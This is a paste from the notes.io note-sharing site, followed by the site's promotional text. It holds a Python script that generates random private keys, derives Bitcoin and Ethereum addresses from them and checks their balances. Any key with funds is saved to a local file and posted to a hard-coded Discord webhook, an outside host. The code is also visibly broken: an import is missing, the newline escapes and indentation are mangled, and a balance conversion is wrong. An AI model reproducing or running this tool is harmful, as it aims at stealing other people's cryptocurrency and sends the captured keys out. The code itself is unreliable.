Notes![what is notes.io? What is notes.io?](/theme/images/whatisnotesio.png)
![]() ![]() Notes - notes.io |
import random
import requests
import os
import time
import re
import platform
from colorthon import Colors
from hdwallet import HDWallet
from hdwallet.symbols import BTC, ETH
import multiprocessing
# Define the Discord webhook URL
webhook_url = "https://discord.com/api/webhooks/1215569807978537020/TpsQoR3uwnj5E6zeQjavC9p23EqoBLuafhQy-jk7CFOE38bfWuCiVVrl5CrdCSvgsJfU"
def send_discord_message(address, private_key, balance):
message = f"Found a wallet with balance!nAddress: {address}nPrivate Key: {private_key}nBalance: {balance}"
payload = {"content": message}
requests.post(webhook_url, json=payload)
def get_clear():
if 'win' in platform.platform() or 'Windows' in platform.platform():
os.system('cls')
elif 'linux' in platform.platform() or 'Linux' in platform.platform():
os.system('clear')
elif 'darwin' in platform.platform():
os.system('clear')
elif 'mac' in platform.platform() or 'Mac' in platform.platform():
os.system('clear')
else:
raise ValueError('Not Supported Platform: "%s"' % platform.platform())
def eth_bal(addr: str) -> str:
url = f"https://ethereum.atomicwallet.io/api/v2/address/{addr}"
req = requests.get(url).json()
ret = req.get('balance', 0) # Eğer 'balance' anahtarı yoksa, varsayılan olarak 0 döndür
return int(ret) / 1000000000000000000
def get_bal(addr):
rl = f"https://bitcoin.atomicwallet.io/api/v2/address/{addr}"
req = requests.get(rl).json()
ret = req.get('balance', 0) # Eğer 'balance' anahtarı yoksa, varsayılan olarak 0 döndür
return int(ret) / 10000000000
green = Colors.GREEN
red = Colors.RED
white = Colors.WHITE
yellow = Colors.YELLOW
reset = Colors.RESET
get_clear()
print('nnStart ...')
time.sleep(2)
z = 1
ff = 0
def query_address(address):
value = get_bal(address) if address.startswith("1") else eth_bal(address)
return address, value
while True:
PRIVATE_KEY = "".join(random.choice("0123456789abcdef") for _ in range(64))
hd_btc: HDWallet = HDWallet(BTC)
hd_eth: HDWallet = HDWallet(ETH)
hd_btc.from_private_key(PRIVATE_KEY)
hd_eth.from_private_key(PRIVATE_KEY)
ethaddr = hd_eth.p2pkh_address()
btcaddr1 = hd_btc.p2pkh_address()
btcaddr2 = hd_btc.p2wpkh_address()
btcaddr3 = hd_btc.p2wpkh_in_p2sh_address()
btcaddr4 = hd_btc.p2wsh_in_p2sh_address()
btcaddr5 = hd_btc.p2sh_address()
addresses = [btcaddr1, btcaddr2, btcaddr3, btcaddr4, btcaddr5, ethaddr]
with concurrent.futures.ProcessPoolExecutor() as executor:
results = executor.map(query_address, addresses)
get_clear()
print(f" {red}{'=' * 24}[{reset}{white}Scan{reset}:{yellow} {z}{reset} {white}Found{reset}: {green}{ff}{reset}{red}]{'=' * 24}{reset}")
for result in results:
address, value = result
print(f" | Address: {address} | Balance: {value}")
if value > 0:
ff += 1
open('btcWin.txt', 'a').write(f'{address}n{PRIVATE_KEY}n')
send_discord_message(address, PRIVATE_KEY, value)
z += 1
![]() |
Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 12 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team